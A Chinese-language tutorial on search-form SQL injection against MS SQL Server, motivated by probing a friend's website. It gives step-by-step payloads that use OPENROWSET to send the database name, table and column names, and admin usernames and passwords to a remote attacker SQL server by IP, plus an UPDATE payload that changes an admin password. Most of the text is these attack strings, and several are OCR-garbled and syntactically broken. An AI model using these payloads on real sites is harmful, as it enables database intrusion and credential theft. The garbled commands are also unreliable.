最近一朋友让我运用OPENROWSET分析一个网站的数据库结构,以前我没有怎么用过OPENROWSET,于是就好好的研究了一下。 一、SQL注入原理 我自己运用net编写了一个存在搜索漏洞的脚本,关于注入原理我简单的说明一下,注入的形成是由于程序员在编写代码的时候对获取的值过滤不严,直接带人数据库查询而造成的,这样我们就可以精心构造SQL语句来达到恶意攻击的目的。这也就是常说的注入攻击,如果大家还有什么不明白的地方,可以去查"搜索型注入原理详细解析"相关的资料,这里就不在啰嗦了。关于数据库的建库建表代码我就不贴出来了,Admin表保存着管理员的帐户和密码信息,sqltest表保存着用户信息。 二、OPENROWSET()的利用 我们运用OPENOWSET的目的,主要是把在注入点数据库中查询出来的信息写到远程的SQL服务器上以方便我们查看,适用于不显错的站点以及猜不出表名和列名的时候运用。 OPENOWSET()的格式为:"insert intoOPENROWSET('SQLOLEDB', 'server=sql服务器ip; uid=帐户;pwd=密码','select admin from fei')要执行的SQL语句"。关于如何判断是不是存在注入漏洞,我们可以运用"'or"="--",在搜索框中输入"'%r'"="--",返回了所有的数据,由此可以确定存在注入漏洞。 首先我们要得到当前的数据库名,在搜索框中输入:"'or'"=";insert into OPENROWS ET('SQLOLED B','serveF61.xx.i35.xxx,1433;uid=x x;pwd-xxxxr','select adminfrom fei')select db_name()--",点击搜索后,查询出了所有的数据,现在我们来到61.xx.135.xxx这个SQL服务器看一下,看有没有把数据库名插入到fei表中的admin字段中,成功的获取了数据库名。 接下来要得到Feitest这个库中的所有表名,在搜索框中输入"'or'"="";insert into OPENROWSE T('SQLOLEDB'‘serveF=61.55.135.37,1433;uid=db;pwd-123456!','select admin from fei')select Table name from information_schema.tables--",点击搜索后返回了所有的数据,表名信息被成功的写到远程服务器上了。 再接下来就是要得到Admin表中的所有字段名称,点击搜索后返回了所有的数据,字段名信息被成功的写到远程服务器上的fei表的admin字段里了。为了方便大家观看字段的值,我把远程服务器上fei表中的数据清空,我们再来得到字段值,在搜索框中输入"‘or "=";insert into OPENROWSET('SQLOLEDB', 'serveF61.55.135,37,1433;uid:db;pwd=123456!','select admm from fei')select adminName from Feitest.dbo.admin--",点击搜索后返回了所有的数据,执行成功了,字段的值被成功的写到了远程服务器上的fei表的admin字段里。可能有读者要问,为什么不把adminPass字段里的值也一起得到呢?我们来执行一下就知道为什么不这么做了,把语句更改成"。发生了错误,为什么会报错呢?这是因为远程服务器的fei表中只有admin这一个字段,我们却要把adminN ame和adminPass两个字段的值与到fei表中,这样肯定要出错的,必须保证字段和服务器上的字段数一样才可以。 既然表名和字段名都知道了,那接下来我们就得到adminPass字段的值,在搜索框中输入",点击搜索后返回所有了数据,执行成功了,adminPass字段的值被成功的写到了远程服务器上,就这样拿到了所有帐号和密码。 当然我们也可叹运用update来更改帐号和密码,比如我要更改Get这个帐户的密码,可以看到0et的密码为789,我们来把密码改成fei,只需要在搜素框中输入"‘or"=";update Feitest.dho.admin set adminpass-‘feC whereadminName-‘Gte'一一",执行成功了,我们在本地查看一下密码,是不是发现密码已经更改为fei了。 在查不到表名和字段名的时候,运用OPENROWSET()足个不错的选择,如果可以的话,大家也可以来个跨库查询。如果本文有什么不对的地方还请读者朋友们指出来,大家要善于思考,可以试着来自己构造注入语句。 |